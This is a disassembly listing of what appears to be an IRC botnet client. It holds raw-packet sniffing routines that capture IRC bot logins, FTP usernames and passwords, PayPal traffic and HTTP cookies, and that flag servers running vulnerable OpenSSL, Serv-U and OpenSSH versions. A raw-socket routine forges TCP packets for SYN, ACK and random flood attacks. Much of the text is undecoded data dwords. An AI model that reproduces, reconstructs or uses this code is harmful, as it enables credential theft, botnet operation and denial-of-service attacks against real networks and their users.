0AF4015FFh dd 0BB004Ch, 6A000002h, 0A9E89008h, 0FF0225E2h, 4CAF2815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434EBCh, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46F40845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4EA46850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E9068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434E2408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h dd 22BE02Ch db 90h byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h, 4589026Ah dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h, 3815FF5Dh dd 50004CAFh, 0FD4C858Dh, 2C68FFFFh, 50004358h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h, 234C0h dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 43580068h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h dd 68FFFFFDh, 4357D0h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EE8h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0C468FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 57B468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h dd 8B7F048Dh, 4EFCC504h, 34FF0043h, 434ED885h, 4C858D00h dd 68FFFFFDh, 435780h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh dd 43575468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22BDCB0h db 90h ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDD10, eax mov eax, offset dword_4CDD10 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAFB8 lea eax, [ebp+var_3B8] push eax call dword_4CB028 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFD0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF38 push eax lea eax, [ebp+var_2B8] push offset unk_435B00 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF50 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF38 push eax lea eax, [ebp+var_2B8] push offset unk_435AD0 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAFBC cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A9C jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A68 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A34 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359FC loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359C4 jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 69E80000h, 900226DEh dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5B2C68FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAF14 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB048 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF84 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAFA4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAFA4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAFA4 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAFA4 push 12345678h mov [ebp+var_14], ax call dword_4CAFA0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAFA4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2780B3Fh lea eax, [ebp+var_1C] push eax call near ptr 27807EAh nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAFA4 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAFA4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAFA0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAFA4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB008 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27807EAh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF38 push eax lea eax, [ebp+var_F4] push offset dword_435B54 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB03C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAEFC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi 